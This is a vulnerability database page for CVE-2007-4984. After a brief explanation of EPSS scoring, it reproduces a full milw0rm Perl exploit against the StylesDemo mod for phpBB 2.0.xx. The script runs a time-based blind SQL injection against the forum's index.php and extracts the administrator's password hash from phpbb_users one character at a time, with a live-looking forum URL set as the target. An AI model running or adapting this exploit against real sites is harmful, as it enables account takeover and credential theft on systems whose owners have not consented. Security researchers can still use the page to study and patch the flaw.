CVE-2007-4984 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

#--------------------------------------------------------------- # ____ __________ __ ____ __ #/_ | ____ |__\_____ \ _____/ |_ /_ |/ |_ # | |/ \ | | _(__ <_/ ___\ __\ ______ | \ __\ # | | | \ | |/ \ \___| | /_____/ | || | # |___|___| /\__| /______ /\___ >__| |___||__| # \/\______| \/ \/ #--------------------------------------------------------------- # #Http://www.inj3ct-it.org Staff[at]inj3ct-it[dot]org # #-------------------------------------------------------------- # #Ktauber.com StylesDemo Mod for phpbb 2.0.xx Multiple Vulnerabilites # #--------------------------------------------------------------- # # Coded by nexen # # GreetZ: Rossi46go for code # # Description: # #XSS and SQL Injection # #--------------------------------------------------------------- # # # # #--------------------------------------------------------------- #exploit.pl #--------------------------------------------------------------- # # # use LWP::UserAgent; use HTTP::Request::Common; use Time::HiRes; ######################################## CONFIGURAZIONE EXPLOIT ########################################################################## $sito = "http://www.forumup.com/stylesdemo/"; # insert vulnerable site as http://[site]/[path]/ ########################################################################################################################################## $var = "1"; my $hash; @array = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102); sub richiesta { $var = $_[0]; $ua = LWP::UserAgent->new; $inizio=Time::HiRes::time(); $response = $ua->request(GET $var, s => $var); $response->is_success() || print("$!\n"); $fine=Time::HiRes::time(); $tempo=$fine-$inizio; return $tempo } sub aggiorna{ system("cls"); print "Tempo sql : " . $_[4] . " secondi\n"; print "Hash : " . $_[3] . "\n"; } #print richiesta; for ($i=1;$i<33;$i++) { for ($j=0;$j<16;$j++) { $var=$sito."index.php?s=(SELECT IF((ASCII(SUBSTRING(`user_password`,".$i.",1))=".$array[$j]."),benchmark(200000000,CHAR(0)),0) FROM phpbb_users WHERE `user_id`=2)/*"; $tempo=richiesta($var); aggiorna($host,$tempodefault,$j,$hash,$tempo,$i); if($tempo>9) { $tempo=richiesta($var); aggiorna($host,$tempodefault,$j,$hash,$tempo,$i); if($tempo>9) { $hash .=chr($array[$j]); aggiorna($host,$tempodefault,$j,$hash,$tempo,$i); $j=200; } } } if($i==1) { if($hash eq "") { $i=200; print "Attacco Fallito Sito Fixato\n"; } } } print "Attacco Terminato\n\n"; system("pause"); # milw0rm.com [2007-09-18]